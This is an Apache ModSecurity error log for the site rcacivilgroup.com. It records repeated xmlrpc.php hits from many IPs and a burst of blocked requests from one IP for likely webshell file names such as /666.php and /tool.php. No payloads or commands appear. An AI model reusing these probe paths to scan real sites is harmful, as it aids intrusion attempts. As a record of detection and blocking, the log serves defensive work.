[Thu Apr 16 20:42:31.618431 2026] [:error] [pid 57639:tid 57670] [client 146.59.70.139:52988] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDZN6MCQoTw7TsxWumMKgAAANg"]
[Thu Apr 16 20:44:20.875869 2026] [:error] [pid 57536:tid 57558] [client 51.210.190.32:52704] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.190.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDZpCQU4faGja6jpDttuAAAAAo"]
[Thu Apr 16 20:45:30.545590 2026] [:error] [pid 49094:tid 49113] [client 159.89.91.236:35236] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDZ6jbDwvcXorHR_MzJAgAAAVE"]
[Thu Apr 16 20:52:26.503853 2026] [:error] [pid 57538:tid 57615] [client 152.42.226.162:50938] [client 152.42.226.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.42.226.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDbisuMaiEF5SVR2BfcNQAAAI0"]
[Thu Apr 16 20:53:03.648085 2026] [:error] [pid 57538:tid 57623] [client 51.83.154.40:48224] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDbr8uMaiEF5SVR2BfcZAAAAJU"]
[Thu Apr 16 20:57:37.415937 2026] [:error] [pid 57639:tid 57658] [client 144.76.199.240:44690] [client 144.76.199.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.76.199.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDcwaMCQoTw7TsxWumWNgAAAMw"]
[Thu Apr 16 21:01:57.760870 2026] [:error] [pid 57537:tid 57594] [client 157.66.27.54:35874] [client 157.66.27.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDdxVVQRS8nm73ENAm0SgAAAFM"]
[Thu Apr 16 21:03:53.392787 2026] [:error] [pid 57639:tid 57646] [client 178.62.32.109:55376] [client 178.62.32.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.32.109, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDeOaMCQoTw7TsxWumbFwAAAMA"]
[Thu Apr 16 21:06:06.524550 2026] [:error] [pid 57639:tid 57659] [client 54.38.178.30:59248] [client 54.38.178.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.178.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDevqMCQoTw7TsxWumdOgAAAM0"]
[Thu Apr 16 21:06:25.190007 2026] [:error] [pid 57538:tid 57625] [client 217.160.225.18:51148] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.225.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDe0cuMaiEF5SVR2BffbQAAAJc"]
[Thu Apr 16 21:08:42.252526 2026] [:error] [pid 57538:tid 57617] [client 103.186.241.154:45424] [client 103.186.241.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.186.241.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDfWsuMaiEF5SVR2BfgcwAAAI8"]
[Thu Apr 16 21:10:22.929353 2026] [:error] [pid 57536:tid 57568] [client 148.113.202.220:45586] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDfviQU4faGja6jpDt40QAAABQ"]
[Thu Apr 16 21:10:59.204275 2026] [:error] [pid 57639:tid 57663] [client 64.92.9.212:33428] [client 64.92.9.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.92.9.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDf46MCQoTw7TsxWumjLAAAANE"]
[Thu Apr 16 21:14:33.971323 2026] [:error] [pid 57639:tid 57660] [client 85.128.143.123:33870] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDguaMCQoTw7TsxWumnCAAAAM4"]
[Thu Apr 16 21:16:14.625535 2026] [:error] [pid 57538:tid 57605] [client 51.38.230.115:47550] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDhHsuMaiEF5SVR2BfitgAAAIM"]
[Thu Apr 16 21:19:07.503770 2026] [:error] [pid 57536:tid 57567] [client 35.242.254.186:52186] [client 35.242.254.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.254.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDhyyQU4faGja6jpDt-oAAAABM"]
[Thu Apr 16 21:19:43.188838 2026] [:error] [pid 57536:tid 57560] [client 143.198.154.102:43442] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.154.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDh7yQU4faGja6jpDt_aAAAAAw"]
[Thu Apr 16 21:30:47.867332 2026] [:error] [pid 57537:tid 57584] [client 129.232.136.154:60556] [client 129.232.136.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.232.136.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDkh1VQRS8nm73ENAm7kwAAAEk"]
[Thu Apr 16 21:31:20.801926 2026] [:error] [pid 57536:tid 57567] [client 157.245.6.105:60002] [client 157.245.6.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.6.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDkqCQU4faGja6jpDuGfAAAABM"]
[Thu Apr 16 21:34:28.498405 2026] [:error] [pid 57639:tid 57646] [client 51.210.123.31:52540] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.123.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDlZKMCQoTw7TsxWum72gAAAMA"]
[Thu Apr 16 21:35:49.778062 2026] [:error] [pid 57639:tid 57662] [client 91.204.161.79:54932] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDltaMCQoTw7TsxWum8qgAAANA"]
[Thu Apr 16 21:37:15.797002 2026] [:error] [pid 7880:tid 7909] [client 66.179.191.163:37140] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDmC6aezm4fSGc0yUKyBgAAAZg"]
[Thu Apr 16 21:38:33.187924 2026] [:error] [pid 57639:tid 57663] [client 85.128.143.124:41906] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDmWaMCQoTw7TsxWum95AAAANE"]
[Thu Apr 16 21:38:39.504109 2026] [:error] [pid 7880:tid 7903] [client 107.180.252.236:32878] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDmX6aezm4fSGc0yUKyZgAAAZI"]
[Thu Apr 16 21:38:47.467705 2026] [:error] [pid 29603:tid 29614] [client 149.202.183.73:53086] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDmZ1fGOR6fpTWUAzqcywAAAQk"]
[Thu Apr 16 21:39:23.904851 2026] [:error] [pid 57538:tid 57624] [client 164.152.53.133:39688] [client 164.152.53.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.152.53.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDmi8uMaiEF5SVR2Bfo6QAAAJY"]
[Thu Apr 16 21:39:48.335116 2026] [:error] [pid 7880:tid 7904] [client 185.199.223.27:47898] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDmpKaezm4fSGc0yUKzNwAAAZM"]
[Thu Apr 16 21:42:13.771737 2026] [:error] [pid 57536:tid 57548] [client 20.100.190.76:43410] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeDnNSQU4faGja6jpDuJ1QAAAAA"]
[Thu Apr 16 21:42:17.305111 2026] [:error] [pid 57537:tid 57579] [client 20.100.190.76:48340] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeDnOVVQRS8nm73ENAm8sQAAAEQ"]
[Thu Apr 16 21:42:18.685396 2026] [:error] [pid 57639:tid 57654] [client 20.100.190.76:41642] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeDnOqMCQoTw7TsxWunAIwAAAMg"]
[Thu Apr 16 21:42:21.988623 2026] [:error] [pid 49094:tid 49111] [client 20.100.190.76:53687] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "aeDnPTbDwvcXorHR_MztpgAAAU8"]
[Thu Apr 16 21:42:23.195914 2026] [:error] [pid 49094:tid 49113] [client 20.100.190.76:39658] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "aeDnPzbDwvcXorHR_MztqQAAAVE"]
[Thu Apr 16 21:42:30.662600 2026] [:error] [pid 57538:tid 57603] [client 20.100.190.76:63232] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "aeDnRsuMaiEF5SVR2BfpjAAAAIE"]
[Thu Apr 16 21:42:36.370654 2026] [:error] [pid 57538:tid 57612] [client 20.212.251.69:51280] [client 20.212.251.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.212.251.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDnTMuMaiEF5SVR2BfpjgAAAIo"]
[Thu Apr 16 21:42:40.026067 2026] [:error] [pid 49094:tid 49113] [client 20.100.190.76:37641] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "aeDnUDbDwvcXorHR_MzuHwAAAVE"]
[Thu Apr 16 21:42:41.273073 2026] [:error] [pid 57536:tid 57571] [client 20.100.190.76:41685] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "aeDnUSQU4faGja6jpDuJ8QAAABc"]
[Thu Apr 16 21:42:45.017830 2026] [:error] [pid 57639:tid 57656] [client 20.100.190.76:56021] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "aeDnVaMCQoTw7TsxWunARwAAAMo"]
[Thu Apr 16 21:42:47.078591 2026] [:error] [pid 57639:tid 57653] [client 20.100.190.76:56041] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "aeDnV6MCQoTw7TsxWunAVAAAAMc"]
[Thu Apr 16 21:42:48.307871 2026] [:error] [pid 57536:tid 57562] [client 20.100.190.76:13811] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeDnWCQU4faGja6jpDuJ_QAAAA4"]
[Thu Apr 16 21:42:49.308173 2026] [:error] [pid 29603:tid 29616] [client 20.100.190.76:10991] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeDnWVfGOR6fpTWUAzqeZwAAAQs"]
[Thu Apr 16 21:42:50.455594 2026] [:error] [pid 49094:tid 49096] [client 20.100.190.76:62260] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeDnWjbDwvcXorHR_MzuKwAAAUA"]
[Thu Apr 16 21:42:52.522752 2026] [:error] [pid 49094:tid 49106] [client 20.100.190.76:62220] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "aeDnXDbDwvcXorHR_MzuMgAAAUo"]
[Thu Apr 16 21:42:53.515046 2026] [:error] [pid 29603:tid 29615] [client 20.100.190.76:61415] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeDnXVfGOR6fpTWUAzqeawAAAQo"]
[Thu Apr 16 21:42:55.297471 2026] [:error] [pid 57536:tid 57551] [client 20.100.190.76:45763] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeDnXyQU4faGja6jpDuKAwAAAAM"]
[Thu Apr 16 21:42:56.112754 2026] [:error] [pid 29603:tid 29611] [client 20.100.190.76:39966] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeDnYFfGOR6fpTWUAzqebgAAAQY"]
[Thu Apr 16 21:42:57.404746 2026] [:error] [pid 49094:tid 49096] [client 20.100.190.76:44284] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "aeDnYTbDwvcXorHR_MzuOgAAAUA"]
[Thu Apr 16 21:42:58.497007 2026] [:error] [pid 57538:tid 57617] [client 20.100.190.76:51954] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "aeDnYsuMaiEF5SVR2BfpnAAAAI8"]
[Thu Apr 16 21:43:01.023252 2026] [:error] [pid 57538:tid 57621] [client 20.100.190.76:51954] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "aeDnZcuMaiEF5SVR2BfpnQAAAJM"]
[Thu Apr 16 21:43:02.234404 2026] [:error] [pid 29603:tid 29626] [client 20.100.190.76:61677] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "aeDnZlfGOR6fpTWUAzqedQAAARU"]
[Thu Apr 16 21:43:03.631195 2026] [:error] [pid 57639:tid 57670] [client 20.100.190.76:58886] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/666.php"] [unique_id "aeDnZ6MCQoTw7TsxWunAaQAAANg"]
[Thu Apr 16 21:43:04.504407 2026] [:error] [pid 29603:tid 29612] [client 20.100.190.76:58884] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "aeDnaFfGOR6fpTWUAzqedwAAAQc"]
[Thu Apr 16 21:43:05.957620 2026] [:error] [pid 7880:tid 7902] [client 20.100.190.76:44285] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "aeDnaaaezm4fSGc0yUK0IQAAAZE"]
[Thu Apr 16 21:43:07.851624 2026] [:error] [pid 49094:tid 49116] [client 20.100.190.76:43016] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "aeDnazbDwvcXorHR_MzuVwAAAVQ"]
[Thu Apr 16 21:43:08.508572 2026] [:error] [pid 49094:tid 49104] [client 20.100.190.76:14039] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "aeDnbDbDwvcXorHR_MzuWgAAAUg"]
[Thu Apr 16 21:43:10.163942 2026] [:error] [pid 49094:tid 49107] [client 20.100.190.76:51456] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "aeDnbjbDwvcXorHR_MzuYQAAAUs"]
[Thu Apr 16 21:43:11.395921 2026] [:error] [pid 7880:tid 7890] [client 20.100.190.76:39257] [client 20.100.190.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-blogs.php"] [unique_id "aeDnb6aezm4fSGc0yUK0KgAAAYU"]
